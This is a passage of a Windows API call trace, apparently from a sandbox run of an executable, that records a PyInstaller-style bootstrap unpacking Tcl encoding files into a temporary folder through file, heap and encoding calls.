lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding") returned 58 [0036.688] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.688] GetFileType (hFile=0x10c) returned 0x1 [0036.688] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.688] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.688] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.688] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.688] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.688] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.688] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.689] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.689] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.689] CloseHandle (hObject=0x10c) returned 1 [0036.689] GetLastError () returned 0x0 [0036.689] SetLastError (dwErrCode=0x0) [0036.689] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\jis0201.enc") returned 70 [0036.689] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\jis0201.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\jis0201.enc"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0036.689] GetLastError () returned 0x2 [0036.689] SetLastError (dwErrCode=0x2) [0036.689] GetLastError () returned 0x2 [0036.689] SetLastError (dwErrCode=0x2) [0036.689] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\jis0201.enc", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\jis0201.enc", lpFilePart=0x0) returned 0x45 [0036.689] GetLastError () returned 0x2 [0036.689] SetLastError (dwErrCode=0x2) [0036.689] GetLastError () returned 0x2 [0036.689] SetLastError (dwErrCode=0x2) [0036.689] GetLastError () returned 0x2 [0036.689] SetLastError (dwErrCode=0x2) [0036.689] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\jis0201.enc") returned 70 [0036.689] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0036.689] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\jis0201.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\jis0201.enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.690] GetFileType (hFile=0x10c) returned 0x1 [0036.690] htonl (hostlong=0x44040000) returned 0x444 [0036.690] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.690] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x444, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x444, lpOverlapped=0x0) returned 1 [0036.691] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.691] CloseHandle (hObject=0x10c) returned 1 [0036.691] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5507c8 | out: hHeap=0x530000) returned 1 [0036.691] htonl (hostlong=0x30000000) returned 0x30 [0036.691] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0036.691] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0036.691] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.691] GetFileType (hFile=0x10c) returned 0x1 [0036.692] htonl (hostlong=0x1d815500) returned 0x55811d [0036.692] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5a311d, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0036.692] htonl (hostlong=0x61420000) returned 0x4261 [0036.692] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x4261) returned 0x560088 [0036.692] htonl (hostlong=0x61420000) returned 0x4261 [0036.692] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x4fcd58, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fcd58*=0x4000, lpOverlapped=0x0) returned 1 [0036.692] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.692] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0036.692] htonl (hostlong=0x4b3a0100) returned 0x13a4b [0036.692] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x13a4b) returned 0x5642f8 [0036.692] htonl (hostlong=0x61420000) returned 0x4261 [0036.692] htonl (hostlong=0x4b3a0100) returned 0x13a4b [0036.692] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x577d50 [0036.694] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x577d50 | out: hHeap=0x530000) returned 1 [0036.694] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0036.694] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.694] CloseHandle (hObject=0x10c) returned 1 [0036.694] GetLastError () returned 0x0 [0036.694] SetLastError (dwErrCode=0x0) [0036.694] GetLastError () returned 0x0 [0036.694] SetLastError (dwErrCode=0x0) [0036.694] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0036.694] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.694] GetFileType (hFile=0x10c) returned 0x1 [0036.694] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.694] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.694] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.694] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.694] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.694] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.694] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.694] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.694] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.694] CloseHandle (hObject=0x10c) returned 1 [0036.695] GetLastError () returned 0x0 [0036.695] SetLastError (dwErrCode=0x0) [0036.695] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding") returned 58 [0036.695] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.695] GetFileType (hFile=0x10c) returned 0x1 [0036.695] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.695] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.695] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.695] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.695] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.695] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.695] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.695] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.695] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.695] CloseHandle (hObject=0x10c) returned 1 [0036.695] GetLastError () returned 0x0 [0036.695] SetLastError (dwErrCode=0x0) [0036.695] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\jis0208.enc") returned 70 [0036.695] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\jis0208.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\jis0208.enc"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0036.695] GetLastError () returned 0x2 [0036.695] SetLastError (dwErrCode=0x2) [0036.695] GetLastError () returned 0x2 [0036.695] SetLastError (dwErrCode=0x2) [0036.695] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\jis0208.enc", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\jis0208.enc", lpFilePart=0x0) returned 0x45 [0036.695] GetLastError () returned 0x2 [0036.696] SetLastError (dwErrCode=0x2) [0036.696] GetLastError () returned 0x2 [0036.696] SetLastError (dwErrCode=0x2) [0036.696] GetLastError () returned 0x2 [0036.696] SetLastError (dwErrCode=0x2) [0036.696] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\jis0208.enc") returned 70 [0036.696] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0036.696] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\jis0208.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\jis0208.enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.696] GetFileType (hFile=0x10c) returned 0x1 [0036.696] htonl (hostlong=0x4b3a0100) returned 0x13a4b [0036.696] WriteFile (in: hFile=0x10c, lpBuffer=0x5642f8*, nNumberOfBytesToWrite=0x13000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x5642f8*, lpNumberOfBytesWritten=0x4fcd00*=0x13000, lpOverlapped=0x0) returned 1 [0036.698] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.698] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0xa4b, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0xa4b, lpOverlapped=0x0) returned 1 [0036.698] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.698] CloseHandle (hObject=0x10c) returned 1 [0036.700] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5642f8 | out: hHeap=0x530000) returned 1 [0036.700] htonl (hostlong=0x30000000) returned 0x30 [0036.700] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0036.700] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0036.700] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.700] GetFileType (hFile=0x10c) returned 0x1 [0036.700] htonl (hostlong=0x7ec35500) returned 0x55c37e [0036.701] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5a737e, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0036.701] htonl (hostlong=0xe9360000) returned 0x36e9 [0036.701] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x36e9) returned 0x560088 [0036.701] htonl (hostlong=0xe9360000) returned 0x36e9 [0036.701] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x3000, lpNumberOfBytesRead=0x4fcd58, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fcd58*=0x3000, lpOverlapped=0x0) returned 1 [0036.701] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.701] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0036.701] htonl (hostlong=0x3e150100) returned 0x1153e [0036.701] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1153e) returned 0x563780 [0036.701] htonl (hostlong=0xe9360000) returned 0x36e9 [0036.701] htonl (hostlong=0x3e150100) returned 0x1153e [0036.701] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x574cc8 [0036.701] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x574cc8 | out: hHeap=0x530000) returned 1 [0036.701] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0036.701] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.701] CloseHandle (hObject=0x10c) returned 1 [0036.701] GetLastError () returned 0x0 [0036.701] SetLastError (dwErrCode=0x0) [0036.701] GetLastError () returned 0x0 [0036.701] SetLastError (dwErrCode=0x0) [0036.701] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0036.702] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.702] GetFileType (hFile=0x10c) returned 0x1 [0036.702] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.702] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.702] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.702] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.702] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.702] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.702] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.702] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.702] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.702] CloseHandle (hObject=0x10c) returned 1 [0036.702] GetLastError () returned 0x0 [0036.702] SetLastError (dwErrCode=0x0) [0036.702] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding") returned 58 [0036.702] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.702] GetFileType (hFile=0x10c) returned 0x1 [0036.702] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.702] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.702] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.702] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.702] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.702] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.702] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.703] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.703] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.703] CloseHandle (hObject=0x10c) returned 1 [0036.703] GetLastError () returned 0x0 [0036.703] SetLastError (dwErrCode=0x0) [0036.703] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\jis0212.enc") returned 70 [0036.703] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\jis0212.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\jis0212.enc"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0036.703] GetLastError () returned 0x2 [0036.703] SetLastError (dwErrCode=0x2) [0036.703] GetLastError () returned 0x2 [0036.703] SetLastError (dwErrCode=0x2) [0036.703] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\jis0212.enc", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\jis0212.enc", lpFilePart=0x0) returned 0x45 [0036.703] GetLastError () returned 0x2 [0036.703] SetLastError (dwErrCode=0x2) [0036.703] GetLastError () returned 0x2 [0036.703] SetLastError (dwErrCode=0x2) [0036.703] GetLastError () returned 0x2 [0036.703] SetLastError (dwErrCode=0x2) [0036.703] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\jis0212.enc") returned 70 [0036.703] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0036.703] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\jis0212.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\jis0212.enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.736] GetFileType (hFile=0x10c) returned 0x1 [0036.736] htonl (hostlong=0x3e150100) returned 0x1153e [0036.736] WriteFile (in: hFile=0x10c, lpBuffer=0x563780*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x563780*, lpNumberOfBytesWritten=0x4fcd00*=0x11000, lpOverlapped=0x0) returned 1 [0036.738] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.738] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x53e, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x53e, lpOverlapped=0x0) returned 1 